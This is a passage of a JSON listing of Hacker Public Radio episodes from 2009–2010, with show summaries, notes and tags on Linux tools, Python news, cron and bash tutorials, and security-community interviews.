","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"kindle,swindle,ebooks,audiobooks,DRM,Digital Restrictions Management","version":0,"downloads":1491,"valid":1}, {"id":491,"date":"2009-12-07","title":"Null_Pointer Interview","duration":2708,"summary":"Quvmoh interviews Ken McConnell on his new geek mystery Null_Pointer","notes":"

Quvmoh interviews Ken McConnell on his new geek mystery Null_Pointer

\n\n

https://www.w0pht.org/wordpress
\nhttps://nullpointer.ning.com/profiles/blog/list

\n","hostid":110,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"TRS-80,film,books","version":0,"downloads":2238,"valid":1}, {"id":492,"date":"2009-12-09","title":"TIT Radio Ep 14","duration":3741,"summary":"Monsterb and friends host TiT Radio","notes":"

TiT Radio Episode 014 -\nPotluck Roundtable of Geeks

monsterb\nstarts the show by mentioning the great shows on Hacker\nPublic Radio like "Demo\nor Bust by SigFlup", "Talk\nGeek to Me by deepgeek", and mentions the active\ncontributors like finux, Ken Fallon, Thistleweb, and lostnbronx. He also\nreads some email from Denny (Polarwave's\nOpenBSD Tips and Tricks for Newbies) and Jos (Camp\nKDE 2010).


Azimuth talks about setting up a dirty,\nquick, temporary, unsecure, simple HTTP server to share files.
1.)\n
alias webshare='python -c\n"import SimpleHTTPServer;SimpleHTTPServer.test()"'
2.)\ncd to directory to be served
3.)
webshare   \n# ctrl-c to exit.
Az also mentions FOSSCasts\n(free screencasts covering Linux, Unix, and Open Source software in\ngeneral).


monsterb\nmentions Debian GNU/kFreeBSD\n(port that consists of GNU userland using the GNU C library on top of\nFreeBSD's kernel, coupled with the regular Debian package set). ISOs\ncan be found at the Georgia\nTech FTP.


Klaatu\ntalks about Quanta Plus (a\nhighly stable and feature rich web development environment) and\nKDevelop (free opensource\nIDE).


artv61 talks about Axel\n(a command line application which accelerates HTTP/FTP downloads by\nusing multiple sources for one file).


threethirty\nmentions the first FSF endorsed\nnetbook running gNewSense.
Source:\nIn other words, DRM from\ntop to bottom ... From LWN.net


COtW\n(Command of the Week):
Azimuth$ inxi\n(command line information script)
Download & Install: #
cd\n/usr/local/bin && wget -Nc smxi.org/inxi && chmod +x\ninxi
Klaatu$
find\n~ -type f -iname '*.ogg'
Jman$
pinfo\n(viewer for Info documents, which is based on ncurses. The\nkey-commands are in the style of lynx.)


Other things\nmentioned: Chromium OS,\nCranky Geeks, DistroWatch,\nKOffice, Linux\nMint, Powerpill,\nQt\nCreator, TuxRadar, and\nTuxRadar's "Code\nProject: create an ffmpeg front-end"

\n

\n


Caller: SndChaser

\n

\n


TerryF's Song of the\nWeek: Shine by Cactus

\n

\n


\n

\n

Please visit\nhttps://titradio.info for more\ninformation.

\n


\n

\n


\n

","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Kdevelop,apt-fast git script","version":0,"downloads":1921,"valid":1}, {"id":493,"date":"2009-12-10","title":"Free and Open Source Software in Business","duration":1765,"summary":"Robert Ladyman talks about Free and Open Source software in the Business world.","notes":"

Robert Ladyman talks about Free and Open Source software in the Business world.

\n

Also available is the ogg version of this episode.

","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"open source software,free software,business,FOSS","version":0,"downloads":2008,"valid":1}, {"id":494,"date":"2009-12-11","title":"Klaatu interviews Russ from Linux in the Ham Shack","duration":594,"summary":"Klaatu interviews Russ from the Linux in the Ham Shack podcast","notes":"

Klaatu, at Ohio Linux Fest 2009, interviews Russ from the Linux in the Ham Shack podcast.

\n

The ogg version provided by The Bad Apple Linux Oggcast.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":2514,"valid":1}, {"id":495,"date":"2009-12-14","title":"Gary Whiton talks about the Blender Game Engine","duration":1358,"summary":"Gary Whiton talks about the Blender Game Engine.","notes":"

Gary Whiton talks about the Blender Game Engine.

\n

Ogg version

","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"blender,game engine","version":0,"downloads":1966,"valid":1}, {"id":496,"date":"2009-12-22","title":"Uber Leet Hacker Force Radio Issue 2","duration":427,"summary":"Uber Leet Hacker Force Radio issue 2","notes":"

git clone git://repo.or.cz/hrr.git

\n\n

We still are looking for someone to donate web-space so if you're interested contact us at pantsbutt at gmail

","hostid":115,"series":87,"explicit":1,"license":"CC-BY-NC-SA","tags":"audacity","version":0,"downloads":2107,"valid":1}, {"id":497,"date":"2009-12-23","title":"Kris Findlay discusses Secure Socket Handler","duration":1344,"summary":"Talk with Kris Findlay","notes":"or grab the\n... ogg vorbis version","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"ssh,port forwarding,X forwarding,scp","version":0,"downloads":2090,"valid":1}, {"id":498,"date":"2009-12-25","title":"Talk Geek To Me Ep 02","duration":2044,"summary":"Deepgeek talks geek to his fans about HTML","notes":"

Deepgeek discusses upgrading from old style HTML to Modern HTML. He uses, as a feature example, device independence between Cell Phone Micro Browsers and Desktop Browsers like Firefox.

\n

Alternate audio formats are available at talkgeektome.us.

","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"HTML,css,stylesheets,micro browser,mobile browsing","version":0,"downloads":1959,"valid":1}, {"id":499,"date":"2009-12-30","title":"TiT Radio Ep 15","duration":5310,"summary":"Monsterb and friends host TiT Radio","notes":"TiT Radio Episode 015 - 330 Moisture Control
\n
\nPlease visit https://titradio.info/015.html for shownotes.
\n","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"FreeBSD,Zoneminder,webcam,inx distro,VideoLAN Movie Creator","version":0,"downloads":1954,"valid":1}, {"id":500,"date":"2010-01-01","title":"2009 Year in Review","duration":1808,"summary":"Enigma and Klaatu talk about 2009, and what 2010 may bring","notes":"

Enigma and Klaatu talk about 2009, and what 2010 may bring for the Hacker Public Radio and Binary Revolution (binrev) world.

\n\n

An ogg version is also available.

","hostid":39,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Python,Talk geek to me,OLF,Ohio Linux Fest,SELF,Southeast Linux Fest,lightweight apps","version":0,"downloads":1263,"valid":1}, {"id":501,"date":"2010-01-06","title":"Klaatu interviews Rikki Kite of Linux Pro Magazine","duration":691,"summary":"Klaatu interviews Rikki Kite, Associate publisher of Linux Pro Magazine.","notes":"

Klaatu, at the Ohio Linux Fest 2009. interviews Rikki Kite, associate publisher of Linux Pro Magazine.

\n

The ogg version provided by The Bad Apple Linux Oggcast.

\n","hostid":78,"series":78,"explicit":0,"license":"CC-BY-NC-SA","tags":"OLF 2009,interview","version":0,"downloads":1542,"valid":1}, {"id":502,"date":"2010-01-08","title":"What Is Free Software","duration":1716,"summary":"Finux gives a talk at the Dundee Free Software Day event. Topic: what is free software?","notes":"

Finux gives a talk at the Dundee Free Software Day event. Topic: what is free software?

\n

Ogg version. Click riiiight here on the little f (for free), to download it.

","hostid":85,"series":36,"explicit":1,"license":"CC-BY-NC-SA","tags":"free software,vendor lock-in","version":0,"downloads":2680,"valid":1}, {"id":503,"date":"2010-01-08","title":"Quvmoh talks to Clint Tinsley about SLAMPP","duration":814,"summary":"Quvmoh interviews Clint Tinsley about SLAMPP","notes":"SLAMPP","hostid":110,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"Slackware,Lamp server,Live cd,interview","version":0,"downloads":1906,"valid":1}, {"id":504,"date":"2010-01-13","title":"Hacker Public Radio Round Table 8","duration":3500,"summary":"Discussion of the movie THX 1138","notes":"Join us as SigFLUP, Deepgeek, lostnbronx, and Klaatu discuss the sci fi movie THX 1138","hostid":107,"series":26,"explicit":1,"license":"CC-BY-NC-SA","tags":"sci fi,movie,film review,review","version":0,"downloads":1921,"valid":1}, {"id":505,"date":"2010-01-21","title":"Interview with a blackhat - n0 g00d","duration":1222,"summary":"Interview with a BlackHat. n0 g00d talks to us about where he started hacking","notes":"Interview with a blackhat - n0 g00d\n\nAnd so commences the new series of interview with a BlackHat\n\nn0 g00d talks to us about where he started hacking, what he has done in \nthe past and the reasons why he does hack.\n\ntmacuk - https://www.tmacuk.co.uk\ntmac@tmacuk.co.uk","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,hacking","version":0,"downloads":1433,"valid":1}, {"id":506,"date":"2010-01-22","title":"TiT Radio 016 - HPR Potluck Roundtable","duration":4937,"summary":"Monsterb and friends host TiT Radio","notes":"TiT Radio 016 - HPR Potluck Roundtable
\n
\nRecorded live on Jan 9th 2010.
\n
\nWe talk about... Way to much to list. Please visit https://titradio.info/016.html for shownotes.
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Fedora,libdvdcss,Window managers,Enlightenment,Ratpoison,Android","version":0,"downloads":1250,"valid":1}, {"id":507,"date":"2010-01-28","title":"Cron with Ken Fallon","duration":1310,"summary":"Ken Fallon discusses cron and crontab","notes":"
\nLINKS\n==============================================\nhttps://help.ubuntu.com/community/CronHowto\nhttps://unixhelp.ed.ac.uk.CGI/man-cgi?crontab+5\nhttps://unixgeeks.org/security/newbie/unix/cron-1.html\nhttps://en.wikipedia.org/wiki/Cron\nhttps://ratholeradio.org/\n\nSCRIPT\n==============================================\nusername@computer:~$ vi /home/username/bin/hello.bash\n\nusername@computer:~$ cat /home/username/bin/hello.bash\n#!/bin/bash\necho \"hello world\"\n\nusername@computer:~$ /home/username/bin/hello.bash\nbash: /home/username/bin/hello.bash: Permission denied\n\nusername@computer:~$ chmod +x /home/username/bin/hello.bash\n\nusername@computer:~$ /home/username/bin/hello.bash\nhello world\n\nusername@computer:~$ export |grep EDITOR\ndeclare -x EDITOR=\"vim\"\n\nusername@computer:~$ crontab -l\nno crontab for username\n\nusername@computer:~$ crontab -e\nno crontab for username - using an empty one\nNo modification made\n\nusername@computer:~$ crontab -e\nno crontab for username - using an empty one\ncrontab: installing new crontab\n\nusername@computer:~$ crontab -l\n# m h  dom mon dow   command\n* * * * * /home/username/bin/hello.bash > /home/username/hello.output 2>&1\n\nusername@computer:~$ cat /home/username/hello.output\nhello world\n
","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"cron,cron history,crontab","version":0,"downloads":1460,"valid":1}, {"id":508,"date":"2010-01-29","title":"Pocket Full of Miracles","duration":1280,"summary":"lostnbronx talks about the contents of his pockets","notes":"lostnbronx talks about the contents of his pockets, in this latest \nedition of the \"What's In Your Toolkit\" series.","hostid":107,"series":23,"explicit":1,"license":"CC-BY-NC-SA","tags":"cargo pants,penknife,phone,sansa e270,paper abacus,notebook","version":0,"downloads":1936,"valid":1}, {"id":509,"date":"2010-01-29","title":"Binrev Radio Lost episode - Telephonic Craptacular","duration":3689,"summary":"Bonus episode created just to work out the timing between seasons of Binrev Radio","notes":"
\nOriginal Release Date\n    2006-07-18\nHosts\n    StankDawg, et al.\n\nBONUS EPISODE!\n
\n\nThis episode was a bonus episode that I created just to work out the timing between seasons. We had completed the last season 3 at episode 156 (52 episodes * 3 years) but the first episode of season 4 (#157) was planned as a live event at hope NEXT week so I had a week gap with no show and I didn't want to ruin the live event, so I created this \"half episode\" to fill the slot this week..\n\nThis rare episode was streamed but was not on our archive. There may be a few copies floating around here or there, but this is the first official release of this episode on this site. \n","hostid":55,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"telephone,guest survey","version":0,"downloads":8975,"valid":1}, {"id":510,"date":"2010-02-02","title":"Python Language Moratorium Python 2.7 End of the Line?","duration":1434,"summary":"A round-table discussion about the possibility of Python 2.x end of life","notes":"\nPython Language Moratorium / Python 2.7 End of the Line?\nA round-table discussion of the moratorium on Python language development and whether Python 2.7 will be the last of the 2.x series.","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"python 2.7,python 3.0","version":0,"downloads":2802,"valid":1}, {"id":511,"date":"2010-02-04","title":"TiT RAdio 017 - Klaatu's Window Manager Challenge","duration":6329,"summary":"Monsterb and friends host TiT Radio and discuss window managers","notes":"TiT RAdio 017 - Klaatu's Window Manager Challenge
\n
\nPlease visit https://titradio.info/017.html for shownotes.
","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"Window managers,Awesome,Windowmaker,Ratpoison,StumpWM,fvwm,e17,Sawfish","version":0,"downloads":1390,"valid":1}, {"id":512,"date":"2010-02-06","title":"Uber Leet Hacker Force Radio 3","duration":4946,"summary":"Uber Leet Hacker Force Radio issue 3","notes":"
\nTITLE: Uber Leet Hacker Force Radio #3\n\nAUTHOR: SigFLUP\n\nDESCRIPTION:\nLinks in this episode include\nhttps://uberleet.atari.org\nhttps://hobones.dogsoft.net/mega/mega_distrib.tgz\nhttps://hobones.dogsoft.net/pits_distrib.tgz\nhttps://hobones.dogsoft.net/bump.avi\n
\n","hostid":115,"series":87,"explicit":1,"license":"CC-BY-NC-SA","tags":"music","version":0,"downloads":1449,"valid":1}, {"id":513,"date":"2010-02-08","title":"Piratprat Ep 01","duration":688,"summary":"Nilsson and Koistinen talks about the Swedish Pirate Party","notes":"Piratprat - Subjects related to the Swedish Pirate Party\n\n

\n\nNilsson and Koistinen talks about the Swedish Pirate Party.\nIn this episode from February 6 we discuss the Pirate Party, program, who are members, the primary election and grandmother Gun.\n

\nShow page\n

\n","hostid":122,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Piratprat,Swedish Pirate Party","version":0,"downloads":1258,"valid":1}, {"id":514,"date":"2010-02-10","title":"Talk Geek To Me ep 06","duration":1287,"summary":"Talk Geek to Me host, Deepgeek reviews the OS \"Debian-GNU-KFreeBSD\"","notes":"Deepgeek reviews the OS \"Debian-GNU-KFreeBSD,\" which is Debian-GNU running with a FreeBSD kernel. \n
\nAlso covered a latin Free Software news item \n
\nClosing Music:Mike Burgess-Audio Love Song\n
","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"Debian-GNU-KFreeBSD,Debian,GNU,FreeBSD","version":0,"downloads":1897,"valid":1}, {"id":515,"date":"2010-02-11","title":"Network Basics Part 6","duration":1607,"summary":"Episode 6 of Basic networking with Klaatu","notes":"Klaatu continues his network basics series","hostid":78,"series":61,"explicit":0,"license":"CC-BY-NC-SA","tags":"networking,arp,dhcp","version":0,"downloads":1361,"valid":1}, {"id":516,"date":"2010-02-13","title":"Interview with Astera","duration":2757,"summary":"Interview about hacker spaces across Europe","notes":"The interview was orginally recorded for https://www.tracsec.com
\n\nAstera has been an evangelist for hacker spaces across europe.
\n\nLots of interesting information about hacker spaces ","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,hackerspace","version":0,"downloads":1325,"valid":1}, {"id":517,"date":"2010-02-16","title":"Interview with a blackhat 2 - CC","duration":1641,"summary":"Interview with a BlackHat. CC talks to us about where he started hacking","notes":"2nd in the series of interview with a \nBlackHat
CC talks to us about where he started\nhacking, what he has done in the past and the reasons\nwhy he does hack. \n
\ntmacuk - https://www.tmacuk.co.uk tmac@tmacuk.co.uk","hostid":123,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"hacking,sql injection","version":0,"downloads":1873,"valid":1}, {"id":518,"date":"2010-02-17","title":"Life Without a GUI","duration":3317,"summary":"Getting Things Done - Life Without a GUI by Jared Bernard","notes":"\n\nGetting Things Done - Life Without a GUI\nby Jared Bernard
\nOct 9th 2009 at the Utah Open source conference \n
\n\n https://2009.utosc.com/presentation/44/
\n https://www.jaredandcoralee.com/ \n","hostid":110,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"command line,screen,wordgrinder,LaTex,antiword,framebuffer,mutt,alpine,youtube-dl","version":0,"downloads":1512,"valid":1}, {"id":519,"date":"2010-02-18","title":"TiT Radio 018 - moooo! Baby","duration":4103,"summary":"Monsterb and friends host TiT Radio","notes":"

TiT Radio 018 - moooo! Baby.

\n

monsterb, klaatu, Peter64, Azimuth, and JMan talk about search enigines, codecs, \nvideo editing, and so much more!

\n

Please visit https://titradio.info/018.html for shownotes.

\n","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"search engines,media players,video-meta,perl,slackermedia,slackbuilds,kdenlive,Slackware,screen,screenrc,cron,xprop","version":0,"downloads":1393,"valid":1}, {"id":520,"date":"2010-02-19","title":" Selecting Talks for PyCon 2010","duration":1302,"summary":"Discussion on how talks were selected for the upcoming PyCon 2010 conference","notes":"\nSelecting Talks for PyCon 2010
\nIn this episode, we discuss how talks were selected for the upcoming PyCon conference, and what else is being planned.","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"python,pycon 2010","version":0,"downloads":1911,"valid":1}, {"id":521,"date":"2010-02-23","title":"Talk Geek to me Ep 07 ","duration":1965,"summary":"Deepgeek talks geek to his fans about nuclear power","notes":"In this episode I discuss my opinions on Nuclear Power. I give a brief history as well as assess the problems of the Industry.
\n\nClosing Music is Stian-2003001.","hostid":73,"series":34,"explicit":1,"license":"CC-BY-NC-SA","tags":"Nuclear,Nuclear power,Nuclear waste,Nuclear weapons,mining process,exposure risks","version":0,"downloads":2020,"valid":1}, {"id":522,"date":"2010-02-26","title":"Piratprat Ep 02","duration":354,"summary":"Discussion on the internal Pirate Party election fraud","notes":"Piratprat - Subjects related to the Swedish Pirate Party\n\n

\n\nIn this episode from February 18 we discuss the internal Pirate Party election fraud. Extra short episode due to cold weather. (recorded under the winter sky)\n

\nShow page\n

","hostid":122,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Piratprat,Swedish Pirate Party","version":0,"downloads":1231,"valid":1}, {"id":523,"date":"2010-03-01","title":"Miscellaneous Radio Theater ","duration":2959,"summary":"Miscellaneous Radio Theater 4096 - Teaching Kids Math With Petunia","notes":"AUTHOR: SigFLUP\nTITLE: Miscellaneous Radio Theater 4096- Teaching Kids Math With Petunia
\nDESCRIPTION:
\nIn this episode we talk with Petunia about teaching kids math. You may contact either Petunia or SigFLUP at pantsbutt@gmail.com\n","hostid":115,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"education,math,science","version":0,"downloads":1373,"valid":1}, {"id":524,"date":"2010-03-04","title":"TiT Radio 019 - interview with sigFLUP","duration":1818,"summary":"monsterb chats with sigFLUP","notes":"TiT Radio 019 - interview with sigFLUP
\n
\nmonsterb chats with sigFLUP about the demoscene, old gaming consoles, and so much more.
\n
\nPlease visit https://titradio.info/019.html for shownotes.","hostid":99,"series":30,"explicit":1,"license":"CC-BY-NC-SA","tags":"demoscene,old gaming consoles,retro computing","version":0,"downloads":2100,"valid":1}, {"id":525,"date":"2010-03-05","title":"Seccubus","duration":1745,"summary":"Interview with Frank and Jason about Seccubus","notes":"Frank, Jason and Secubuss - HPR spreading the word\n
\nThe first show is a continuation for a previous show
\n https://hackerpublicradio.org/eps.php?id=0467 \n
\n\nFrank Breedijk, asked HPR listeners to supply him name suggestions for\nhis security assessment tool, autonessus. One of HPR listeners supplied\nhim a name which he liked and now the project is known as Seccubus. The\nshow is an interview with both Frank and the fellow that supplied the\nname Jason.","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Autonessus,Seccubus,security","version":0,"downloads":2494,"valid":1}, {"id":526,"date":"2010-03-08","title":"Interview with a whitehat","duration":2097,"summary":"Finux interviews TmacUK","notes":"Finux interviews TmacUK","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"white hat,security,bug reporting,Wordpress,vulnerability","version":0,"downloads":1381,"valid":1}, {"id":527,"date":"2010-03-09","title":"HPR RoundTable 9","duration":1951,"summary":"Discussion of the low budget film, \"Infest Wisely\"","notes":"The roundtable discussesthe low budget (no budget?) science\nfiction film \"Infest Wisely\", available from the Internet\nArchive at: https://www.archive.org/details/InfestWisely\n","hostid":109,"series":26,"explicit":1,"license":"CC-BY-NC-SA","tags":"roundtable,sci fi,movie,film review,review,nanotechnology","version":0,"downloads":1515,"valid":1}, {"id":528,"date":"2010-03-11","title":"Bordless Networking","duration":3023,"summary":"Robert Laymans explains the concept of borderless networking","notes":"Robert Laymans Borderless networking talk","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"borderless networking,networking,networks,VPN,firewall,de-perimeterisation,Jericho Forum","version":0,"downloads":1416,"valid":1}, {"id":529,"date":"2010-03-16","title":"Interview with Peterwood","duration":3853,"summary":"In this episode finux and the tracsec crew interview Peter Wood","notes":"finux and the tracsec crew interview Peter Wood","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,security,infosec,hacking,ethical hacking,vulnerabilities,white hat","version":0,"downloads":1458,"valid":1}, {"id":530,"date":"2010-03-18","title":"Setting up the samson C01u in linux","duration":529,"summary":"pegwole explains how to set up the Samson C01U microphone in Linux","notes":"pegwole explains how to set up the samson C01u in linux","hostid":120,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Samson C01U,audio,microphone,audio gear,gmixer,audacity,audio setup","version":0,"downloads":1441,"valid":1}, {"id":531,"date":"2010-03-24","title":"bash loops ","duration":512,"summary":"While aboard an Airbus 320, Ken Fallon describes loops that are available in BASH","notes":"
\nuser@pc:~$ for number in 1 2 3\n> do\n> echo my number is $number\n> done\nmy number is 1\nmy number is 2\nmy number is 3\n\nuser@pc:~$ for number in 1 2 3 ; do echo my number is $number; done\nmy number is 1\nmy number is 2\nmy number is 3\n\nuser@pc:~$ cat x.txt|while read line;do echo $line;done\none-long-line-with-no-spaces\none ling line with spaces\n\nuser@pc:~$ for line in `cat x.txt`;do echo $line;done\none<-long-line-with-no-spaces\none\nling\nline\nwith\nspaces\n
","hostid":30,"series":42,"explicit":1,"license":"CC-BY-NC-SA","tags":"bash,loops,while loops,for loops,scripting,bash scripting","version":0,"downloads":1509,"valid":1}, {"id":532,"date":"2010-03-29","title":"Ubuntu interview","duration":1003,"summary":"Patrick L Archibald interviews his sister Wynn Godbold about using Ubuntu Linux","notes":"Patrick L Archibald interviews her sister Wynn Godbold who recently starting using Ubuntu Linux. She is a kindergarten teacher in SC. They talk about her experience as a new Linux user. The also discuss open source adoption in the education field. At times it sounds unintentionally like an Ubuntu promo but there are some good snippets in the interview. ","hostid":124,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,interviews,linux,Ubuntu,new users","version":0,"downloads":1499,"valid":1}, {"id":533,"date":"2010-03-30","title":"Professional Certs versus Hacker Degree","duration":3802,"summary":"Finux leads a panel debating professional certification versus university hacking degrees","notes":"Finux's Tracsec segement about Professional Certs Versus Hacking Degree","hostid":85,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,TRACsec,certification,professional certification,hacking degree,university degree,security,SANS Institute","version":0,"downloads":1357,"valid":1}, {"id":534,"date":"2010-04-03","title":"Mercurial Transition and comments on the Python Package Index","duration":2738,"summary":"A panel discussion covering the transition to using Mercurial for the Python source code","notes":"Mercurial Transition / Python 2.7 alpha 1 / Comments on the Python Package Index\nWe cover the status of the transition to using Mercurial for the Python source code, the first alpha release of Python 2.7, and the recent controversy over adding commenting to the Python Package Index.","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,Python,Python 2.7,Mercurial,EOL,DVCS,distributed version control system,Subversion,Iron Python,Python 3.2,Python Package Index,PyPI","version":0,"downloads":1327,"valid":1}, {"id":535,"date":"2010-04-06","title":"New Features in Python 2.7","duration":1276,"summary":"A panel discussion on some of the new features coming in Python 2.7","notes":"Episode 5.Bit-of-Python-2010-02-10\nNew Features in Python 2.7\nWe discuss some of the new features coming in Python 2.7.\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"python,python 2.7,modules,logging,configuration,podcast,PyPy,versioning","version":0,"downloads":1408,"valid":1}, {"id":536,"date":"2010-04-13","title":"Spud Guns","duration":1760,"summary":"First time host elel talks about spud guns and how to build them","notes":"\n\nWebsites listed:\n
\nhttps://spudtech.com/\n
\nhttps://spudfiles.com/\n
\nhttps://www.advancedspuds.com/\n
\n\n
\nBooks:\n
\nBackyard Balistics by Wiliam Gurstelle\n
\n\n
\nGun plans:\n
\nhttps://www.advancedspuds.com/gunplans.htm
","hostid":125,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"spud gun,air powered gun,PVC pipe,combustion powered,gas powered,propellent","version":0,"downloads":1354,"valid":1}, {"id":537,"date":"2010-04-16","title":"Episode 6.Bit-of-Python","duration":1128,"summary":"Michael Foord interviews Van Lindberg, conference chair of PyCon 2010, about the conference","notes":"Episode 6.Bit-of-Python-2010-03-10\nInterview: Van Lindberg\nMichael Foord interviews Van Lindberg, conference chair for PyCon 2010 in Atlanta GA, on the success of the conference, plans for the 2011 Atlanta conference, and his work as an intellectual-property lawyer.\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,PyCon,PyCon 2010,interview,interviews,intellectual property,software patents","version":0,"downloads":1215,"valid":1}, {"id":538,"date":"2010-04-19","title":"asterisk-cast","duration":937,"summary":"cobra2 describes installing and configuring Asterisk PBX with a conference room extension","notes":"cobra2's asterisk-cast","hostid":126,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"Asterisk,PBX,install,VoIP,SIP","version":0,"downloads":1575,"valid":1}, {"id":539,"date":"2010-04-30","title":"Little Bit of Python Episode 7","duration":1383,"summary":"A panel discussion on speeding up Python and proposed changes in the Unladen Swallow branch","notes":"Episode 7.Bit-of-Python-2010-03-15\nUnladen Swallow\nPEP 3146 proposes that the Unladen Swallow branch, which adds a just-in-time compiler to Python, be merged into the main Python repository. We discuss what Unladen Swallow does, and what impact it's likely to have.\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,python,just-in-time compiler,JIT,Unladen Swallow,PEP,PEP 3146","version":0,"downloads":1618,"valid":1}, {"id":540,"date":"2010-05-05","title":"Uber Leet Hacker Force Radio 04","duration":4171,"summary":"sigflup interviews cobra2 about unixporn.com and Command Line of the Command Line Podcast ","notes":"HEELLLLLOOOO!!!!!\nIn this episode of the Uber Leet Hacker Force Radio sigflup releases a couple\nof things and talks with cobra2 of unixporn.com and Command Line of the Command Line Podcast. you may email the Uber Leet Hacker Force at pantsbutt@gmail.com\nand visit our web-site at https://uberleethackerforce.deepgeek.us\n","hostid":115,"series":87,"explicit":1,"license":"CC-BY-NC-SA","tags":"interview,interviews,podcast,unixporn,SMD,multi-core,multi-core processor,threads,quantum computers,Moore's Law,cluster,computer cluster","version":0,"downloads":1253,"valid":1}, {"id":541,"date":"2010-05-12","title":"Interview with Moxie Marlinspike","duration":3762,"summary":"finux interviews Moxie Marlinspike about security research for the Tracsec podcast","notes":"finux and the Tracsec guys interview Moxie Marlinspike ","hostid":85,"series":78,"explicit":1,"license":"CC-BY-NC-SA","tags":"podcast,security,SSL,TLS,Tracsec,certifcates,ssl certificate,ssl certificate chain,sslsniff,WPA cracker,penetration testing,port knocking","version":0,"downloads":1260,"valid":1}, {"id":542,"date":"2010-05-18","title":"Little Bit of Python Episode 8","duration":904,"summary":"Steve Holden interviews Mark Shuttleworth, founder of Canonical, at PyCon 2010","notes":"Episode 8.Bit-of-Python-2010-03-20\nInterview: Mark Shuttleworth\nSteve Holden interviews Mark Shuttleworth, founder of the Ubuntu project and a keynote speaker at PyCon 2010.\n","hostid":121,"series":38,"explicit":1,"license":"CC-BY-NC-SA","tags":"python,interview,interviews,Canonical,Mark Shuttleworth,PyCon,PyCon 2010,Ubuntu,Pygame","version":0,"downloads":1426,"valid":1}, {"id":543,"date":"2010-05-24","title":"Xoke's Podcasting Script","duration":535,"summary":"An introduction to a script for recording podcasts","notes":"

Xoke talks about his podcasting script that is available on xoke.org

\n\n","hostid":79,"series":42,"explicit":1,"license":"CC-BY-NC-SA","tags":"shell,scripts,scripting,bash","version":0,"downloads":1627,"valid":1}, {"id":544,"date":"2010-05-28","title":"HPR: A private data cloud","duration":1823,"summary":"Backing up your cherished photo and video privately and securely","notes":"
\nLINKS:\nFailure Trends in a Large Disk Drive Population https://labs.google.com/papers/disk_failures.pdf\n\nNas solutions\nhttps://www.drobo.com/\nhttps://en.wikipedia.org/wiki/Network-attached_storage\n\nClowd Solutions\nhttps://one.ubuntu.com/\nhttps://www.dropbox.com/\nhttps://www.carbonitepro.com/ProPricing.aspx\n\nRsync\nhttps://samba.anu.edu.au/rsync/\nhttps://rsync.samba.org/ftp/rsync/rsync.html\nhttps://en.wikipedia.org/wiki/Sneaker_net\n\nSetting up the sshkey\nhttps://sial.org/howto/openssh/publickey-auth/\n\nGetting a well known url for your changing home IP address\nhttps://en.wikipedia.org/wiki/Dynamic_DNS\n\nCron howto\nhttps://hackerpublicradio.org/eps.php?id=0507\nhttps://www.cyberciti.biz/faq/disable-the-mail-alert-by-crontab-command/\n\nSponsored Podcast\nhttps://screencasters.heathenx.org/\n
\n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-NC-SA","tags":"private cloud,backup,raid,offsite backup,rsync,ssh,cron","version":0,"downloads":1325,"valid":1}, {"id":545,"date":"2010-06-03","title":"Little Bit of python episode nine","duration":1548,"summary":"News about Python 2.7, PyPy 1.2 and other modules","notes":"

First released as Bit of Python on 2010-03-22

\n

Bits of News

\n

We discuss a variety of recent news items:

\n
    \n
  • some recent CPython changes,
  • \n
  • the new PyPy 1.2 release,
  • \n
  • crypto support and Debian packaging for IronPython,
  • \n
  • the PyWeek game programming contest,
  • \n
  • upcoming conference plans,
  • \n
  • and upcoming podcast plans.
  • \n
